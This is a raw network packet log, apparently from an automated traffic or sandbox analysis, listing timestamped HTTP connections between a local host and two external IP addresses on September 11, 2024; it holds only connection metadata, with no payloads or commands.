Sep 11, 2024 16:22:18.417934895 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417994976 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417994976 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417994976 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.418523073 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.418535948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.418546915 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.418584108 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.418605089 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.418610096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.418632030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.418677092 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.419132948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.419145107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.419156075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.419178963 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.419198990 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420172930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420221090 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420238972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420248985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420263052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420274973 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420274973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420286894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420288086 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420301914 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420303106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420339108 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420339108 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420429945 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420475960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420476913 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420517921 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420523882 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420528889 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420540094 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420551062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420553923 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420578003 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420598984 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420878887 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420891047 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420902014 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420912027 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420922995 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420933962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420938015 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420938969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420957088 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420968056 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420980930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.420984030 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420984030 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.420990944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.421009064 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.421036005 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422111034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422122955 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422133923 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422144890 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422156096 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422163010 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422166109 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422178984 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422188997 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422190905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422209024 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422229052 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422250986 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422261000 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422271967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422282934 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422288895 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422292948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422302961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422317982 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422321081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422332048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422342062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422353029 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422357082 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422357082 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422363997 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422374964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422383070 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422389984 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422400951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422411919 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422430038 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422447920 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422457933 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422472000 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422482967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422493935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422497988 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422504902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422516108 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422516108 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422527075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422534943 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422543049 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422554970 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422564030 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422566891 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422579050 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422589064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422600031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.422591925 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422610998 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.422645092 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.426716089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.426728010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.426739931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.426883936 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.427018881 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.427037954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.427050114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.427062988 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.427064896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.427089930 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.427119017 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.428922892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.428935051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.428946972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.428962946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.428976059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.429003000 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.429007053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.429018974 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.429030895 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.429050922 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.429066896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.471640110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471662045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471673012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471685886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471698046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471708059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471720934 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471730947 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471798897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471803904 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.471803904 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.471808910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471820116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471832991 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471848965 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.471860886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471863985 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.471877098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.471925020 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.471966982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472089052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472106934 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472119093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472122908 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472131968 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472155094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472183943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472210884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472223043 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472234011 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472244024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472249985 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472271919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472271919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472285032 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472292900 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472296953 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472310066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472321033 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472328901 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472336054 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472345114 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472405910 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472429991 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472441912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472451925 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472462893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472466946 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472476006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472486019 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472487926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472512960 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472524881 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472680092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472693920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472700119 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472707987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472722054 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472724915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472733974 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472748041 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472758055 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472769022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472775936 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472775936 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472781897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.472786903 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.472810984 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.473176003 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473236084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473247051 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473253012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473263025 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.473263979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473278046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473289967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473298073 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.473330975 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.473368883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473402023 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.473690033 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473701954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473714113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473747969 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.473747969 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.473776102 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473787069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473798037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473810911 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.473841906 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.473841906 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474143982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474236012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474282026 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474370003 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474396944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474407911 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474426031 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474430084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474447966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474463940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474467039 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474488020 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474498034 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474505901 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474512100 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474522114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474528074 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474539042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474545002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474556923 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474571943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474572897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474585056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474590063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474601984 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474607944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474622011 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474627018 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474642992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474646091 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474661112 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474675894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474675894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474693060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474706888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474711895 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474711895 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474720955 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474730968 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474733114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474746943 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474747896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474766016 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474766016 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474781990 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474781990 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474798918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474800110 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474813938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474814892 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474832058 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.474836111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.474845886 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.480770111 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.480863094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.480876923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.480891943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.480917931 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.480921984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.480933905 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.480942965 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.480951071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.480966091 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.480977058 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.480983973 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.480994940 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481004000 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481019020 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481023073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481026888 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481040001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481050968 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481060028 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481081009 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481151104 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481167078 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481183052 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481190920 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481199980 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481205940 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481225014 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481232882 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481261969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481277943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481291056 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481303930 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481306076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481314898 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481328964 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481349945 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481349945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481367111 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481383085 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481389046 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481398106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481404066 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481414080 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481425047 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481425047 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481427908 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481445074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481447935 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481462002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481466055 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481473923 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481492996 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481501102 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.481509924 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.481524944 CEST	80	49734	147.45.44.104	192.168.2.4
